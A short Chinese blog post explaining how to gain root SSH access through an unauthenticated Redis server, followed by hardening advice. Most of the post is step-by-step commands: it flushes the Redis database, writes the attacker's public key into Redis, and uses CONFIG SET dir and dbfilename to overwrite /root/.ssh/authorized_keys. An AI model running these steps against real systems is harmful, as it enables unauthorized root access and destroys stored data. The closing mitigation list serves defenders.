通过Redis入侵服务器

来源:互联网 发布:刷帮豆软件手机版 编辑:程序博客网 时间:2024/06/08 02:47

通过redis入侵服务器的原理是:利用了redis默认配置,许多用户没有设置访问的key(也就是密码)。然后通过向redis把自己的公钥写入到redis,然后利更改redis的数据库文件配置,把数据写入到认证文件。形成免密码登陆

步骤:
一、生成本地ssh公钥

ssh-keygen

二、先连接redis看看

telnet 192.168.88.136 6379redis-cli -h 192.168.88.136

三、清一下redis数据库

redis-cli -h 192.168.88.136 flushall

四、向redis写自己的公钥

cat id_rsa.pub | redis-cli -h 192.168.88.136 -x set redis

五、利用redis写入到文件中

#连接redis#redis-cli -h 192.168.88.136#查看keys192.168.88.136>keys *#写入配置库的路径及存放位置192.168.88.136>CONFIG SET dir /root/.ssh/#写入配置库名称及存放的名字192.168.88.136>CONFIG SET dbfilename "authorized_keys"#写入192.168.88.136>save#退出192.168.88.136>exit

六、远程连接

ssh root@192.168.88.136

注意,这个是使用的默认的。也就是说别人是用的root来启动的redis 并且没有更改sshd配置文件,以及redis可以默认的可以随意访问性的。

防止redis入侵服务器的措施:

1、不要对外开放redis,也就是不要使用公网ip启动redis2、更改redis默认的端口(默认是63793、给reids加密码,在启动的以后,我们必须通过密码认证后才能操作4、给 authorized_keys 文件加上特殊权限(chattr +i authorized_keys),不让别人在里面写内容5、也可以给/root/.ssh 这个目录加上特殊权限(chattr +i /root/.ssh),这样即使是root用户也不能够在里面写东西

备注:
如果给redis加了密码以后,我们在启动的时候可以这样 redis-cli -h 192.168.88.136 -p 端口 -a 密码,也可以通过先登陆后认证的方式,也就是redis-cli -h 192.168.88.136 -p 端口 ,认证auth 密码
关闭的时候也一样redis-cli -h 192.168.88.136 -p 端口 -a 密码 shutdown

原创粉丝点击